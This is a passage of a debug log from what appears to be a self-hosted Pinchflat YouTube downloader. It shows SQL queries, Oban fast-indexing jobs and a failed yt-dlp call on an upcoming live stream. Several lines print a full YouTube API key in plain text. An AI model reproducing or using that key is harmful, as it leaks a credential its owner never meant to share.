db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:58.509 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:27:58.509 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:58.509 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:58.652 [debug] QUERY OK source="media_items" db=0.6ms idle=143.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 17:27:58.655 [debug] QUERY OK source="media_items" db=2.1ms idle=144.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:27:58.655 [debug] QUERY OK source="tasks" db=0.1ms idle=146.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268485, 38, ~U[2026-10-09 22:27:58Z], ~U[2026-10-09 22:27:58Z]] 17:27:58.656 [info] {"args":{"id":38},"id":5268446,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147727,"event":"job:stop","queue_time":217275,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:28:00.453 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:16.267 [info] {"source":"oban","duration":266745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":10} 17:28:46.369 [info] {"source":"oban","duration":101337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":5} 17:29:00.455 [info] {"source":"oban","duration":128,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:09.771 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/50/80/5080a2ea51c3751563bd834d3d71b124afe72292da1f35d97d4a300ab3d0413e.json --sleep-requests 90 --sleep-interval 68 --sleep-subtitles 75 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:29:09.772 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:29:09.772 [debug] QUERY OK source="media_items" db=0.5ms idle=1425.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:29:09.773 [debug] QUERY OK source="tasks" db=0.1ms idle=1198.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268486, 19, ~U[2026-10-09 22:29:09Z], ~U[2026-10-09 22:29:09Z]] 17:29:09.773 [info] {"args":{"id":19},"id":5268437,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173368052,"event":"job:stop","queue_time":770948,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:29:16.379 [info] {"source":"oban","duration":9956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:46.391 [info] {"source":"oban","duration":10223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 17:29:58.632 [info] {"args":{"id":14},"id":5268447,"meta":{},"system_time":1791584998632574558,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:29:58.633 [debug] QUERY OK source="sources" db=0.1ms idle=1007.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:29:58.633 [debug] QUERY OK source="settings" db=0.7ms idle=286.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:29:58.634 [debug] QUERY OK source="media_profiles" db=0.1ms idle=286.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:29:58.634 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:29:58.634 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:29:58.634 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:29:58.634 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:29:58.827 [debug] QUERY OK source="media_items" db=0.7ms idle=193.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 17:29:58.829 [debug] QUERY OK source="media_items" db=1.6ms idle=193.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:29:58.830 [debug] QUERY OK source="tasks" db=0.7ms idle=195.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268487, 14, ~U[2026-10-09 22:29:58Z], ~U[2026-10-09 22:29:58Z]] 17:29:58.831 [info] {"args":{"id":14},"id":5268447,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":198434,"event":"job:stop","queue_time":495687,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:00.456 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:11.645 [info] {"args":{"id":12},"id":5268448,"meta":{},"system_time":1791585011645162171,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:11.645 [debug] QUERY OK source="sources" db=0.1ms idle=1298.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:30:11.645 [debug] QUERY OK source="settings" db=0.0ms idle=1298.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:11.645 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:30:11.646 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:11.646 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:30:11.646 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:11.646 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:30:11.826 [debug] QUERY OK source="media_items" db=0.6ms idle=180.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 17:30:11.827 [debug] QUERY OK source="media_items" db=0.6ms idle=181.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:30:11.828 [debug] QUERY OK source="tasks" db=0.1ms idle=182.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268488, 12, ~U[2026-10-09 22:30:11Z], ~U[2026-10-09 22:30:11Z]] 17:30:11.828 [info] {"args":{"id":12},"id":5268448,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":183248,"event":"job:stop","queue_time":416165,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:12.646 [info] {"args":{"id":41},"id":5268449,"meta":{},"system_time":1791585012646160349,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:12.646 [debug] QUERY OK source="sources" db=0.1ms idle=817.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:30:12.646 [debug] QUERY OK source="settings" db=0.0ms idle=817.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:12.646 [debug] QUERY OK source="media_profiles" db=0.1ms idle=812.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:30:12.646 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:12.646 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:30:12.647 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:30:12.647 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:30:12.848 [debug] QUERY OK source="media_items" db=0.5ms idle=201.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 17:30:12.850 [debug] QUERY OK source="media_items" db=0.8ms idle=202.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", 